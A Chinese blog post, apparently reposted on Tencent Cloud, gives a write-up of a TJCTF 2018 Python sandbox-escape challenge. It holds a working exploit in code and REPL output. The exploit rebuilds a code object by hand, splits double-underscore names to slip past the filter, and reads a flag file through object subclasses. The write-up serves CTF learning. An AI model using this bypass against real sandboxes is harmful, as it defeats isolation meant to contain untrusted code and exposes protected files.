前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次有趣的Python沙箱逃逸

记一次有趣的Python沙箱逃逸

作者头像
KAAAsS
发布2022-01-14 16:49:34
3450
发布2022-01-14 16:49:34
举报
文章被收录于专栏:KAAAsS's Blog

今天@AD1024大佬在群里分享了个有趣的CTF题(nc problem1.tjctf.org 8006),是关于Python沙箱逃逸的。dalao原意是为了吐槽flag在的文件就是flag.txt,不过咱研究了下这沙箱逃逸,似乎有点不一般。eval、exer、open这类的函数肯定是屏蔽了,关键是它不仅屏蔽了import,双下划线都不给用。而且最骚的是,这还直接是REPL环境!ROT13的套路也没救了。

整理下思路,竟然要读文件,file类一般来说是跑不了了。然而由于双下划线被屏蔽了,所以从object类往下顺的思路也行不通了。不过不急,我们可以……

高手在民间
高手在民间

Google了下,找到了一篇文章《Bypassing a python sandbox by abusing code objects》。竟然从code对象入手,真是角度刁钻。下面来看看具体的操作。首先在自己的repl里创建个函数:

代码语言:javascript
复制
def get_classes():
    return [].__class__.__bases__[0].__subclasses__()

然后dir一下func_code:

代码语言:javascript
复制
>>> dir(get_classes.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

可以看到,这些co_开头的就是code构造函数需要的参数,那咱朴实点,就全部打印呗。

代码语言:javascript
复制
co_argcount: 0
co_cellvars: ()
co_code: ‘g\x00\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00S’
co_consts: (None, 0)
co_filename: ‘<stdio>’
co_firstlineno: 1
co_flags: 67
co_freevars: ()
co_lnotab: ‘\x00\x01’
co_name: ‘get_classes’
co_names: (‘__class__’, ‘__bases__’, ‘__subclasses__’)
co_nlocals: 0
co_stacksize: 2
co_varnames: ()

于是我们就可以开始操作了。

代码语言:javascript
复制
>>> f = lambda :0
>>> function = type(f)
>>> code = type(f.func_code)

然后就可以构造code对象了。help(code)之后按着之前print出来的东西填。

代码语言:javascript
复制
code_obj = code(0, 0, 2, 67, 'g\x00\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00S', (None, 0), ('_''_class_''_', '_''_bases_''_', '_''_subclasses_''_'), (), '<stdin>', 'get_classes', 1, '\x00\x01', (), ())
get_classes = function(code_obj, globals(), None, None, None)

这里要注意下,几个双下划线都要分开来写。接下来就是固定套路了。

代码语言:javascript
复制
get_classes()[40]('./flag.txt').read()

后记

不搜不知道,一搜发现这就是TJCTF 2018的题。按官网介绍,TJCTF面向的是高中生,妈耶,美国的高中生都是怪物吗?!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018/08 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 后记
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档